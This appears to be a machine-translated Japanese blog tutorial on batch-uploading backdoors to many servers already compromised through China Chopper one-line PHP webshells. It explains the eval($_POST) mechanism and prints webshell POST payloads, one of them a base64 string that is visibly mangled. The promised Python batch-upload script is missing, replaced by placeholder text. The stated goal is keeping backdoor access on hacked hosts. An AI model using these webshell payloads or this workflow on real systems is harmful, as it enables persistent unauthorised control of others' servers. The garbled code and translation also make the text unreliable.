一般的な RCE 脆弱性を通じて多くの Web シェルをバッチで取得する場合、後で使用するためにバックドアをバッチでアップロードしたい場合がよくあります。現時点では、包丁を使ってファイルを 1 つずつアップロードするのは遅すぎると思わざるを得ません。では、ファイルを一括ですばやくアップロードするにはどうすればよいでしょうか。この記事では、このような要件を PHP に基づいて実装する方法を紹介します。
0×01原理分析
まず第一に、Chopper が 1 文のトロイの木馬を介して Web サーバーのファイル管理をどのように実装するかを理解する必要があります。
以下は最も一般的な php 一文のトロイの木馬です:
リーリー一文のトロイの木馬を Web サーバーにアップロードした後、上記のパスワード (上記の例では 1 など) を包丁に直接入力してサーバーに接続し、ファイルを管理できます。
それでは、ここの包丁はどのように簡単な文でサーバーを管理、制御できるのでしょうか?チョッパーの原理を分析すると、チョッパーが POST メソッドで渡されたコマンド ステートメントを実行するために eval 関数を使用していることを見つけるのは難しくありません。
したがって、Chopper Sentence Trojan を通じてファイルをアップロードしたい場合は、次のようなファイル書き込みコマンドを含む POST リクエストをリモート サービス内の文を含む URL に送信するだけで済みます。
投稿:
1=@eval($_POST[z0]);&z0=echo $_SERVER['DOCUMENT_ROOT'];
上記のコードには 2 つの部分が含まれています:
1. 一文のパスワード2. PHP 実行コードがサーバーに送信される
原理がわかったので、次の POST リクエストを送信するだけで、ファイルのアップロード機能を 1 つの文で完了できます:
投稿: V1 =@Eval (Base64_Decode ($ _ Post [Z0])); Z2LJX3F1B3RLC19YDW501LKDAPO2VJAG8OII0+FCIPOZSKJGY9JF9QT1NUWYJ6MSJDOOWOWOWKX1BPU1RBINOYIL07CIRJPXBSYZXBSYWNLKCJCCIISIII IsjgMPowok yz1DHJFCMVWBGFJZSGIXG4ILCILCRJKJGJ1ZJ0IJSKZM9YKCRPPTA7jgk3rybgVVCRJKICRIDWYNNONN0Cigky YWKASWXKTSKZWNOBYHAZNDYAXRLKZVCGVUKCRMLCJ3IIKSJGJ1ZIKPLY2HVKCJ8PC0Ikskzgllk7 & Z1 = L3HCI9VDC8XLNR4DA == & Z Z2 = agvsbg8gd29ybgqh
この POST データを注意深く分析すると、次の部分が含まれています:
1. 1つ目はphp 1の一文パスワードです2. eval メソッドを使用して、base64 デコードされた z0 を実行すると、次のように表示されます。 リーリー
3. z0 で Base64 デコードされた z1 と z2 を呼び出し続けます。デコードされた結果は次のとおりです。 リーリー
この時点で、上記の POST リクエストの機能が実際には hello world! のメッセージを送信することであることが明確にわかります。 1.txt という名前のファイルをサーバーの /var/www/root/ パスにアップロードします。0×02コードの実装
上記の原理分析に基づいて、次のコードを使用して、PHP の 1 文に基づくファイルのバッチ アップロードを実装できます。
リーリー
webshell.txtの形式: [一文のWebシェルファイルパス]、[Webシェル接続パスワード]は次のとおりです:http://www.example1.com/1.php, 1
http://www.example2.com/1.php, 1
http://www.example3.com/1.php, 1
上記のスクリプトをbatch_upload_file.pyとして保存し、コマンド python patch_upload_file.py webshell.txt 1.txt を実行すると、次のようになります。
上記のコンテンツは、PHP での単一ファイルのバッチアップロードに関する関連知識を紹介しています。気に入っていただければ幸いです。
興味がありそうな記事: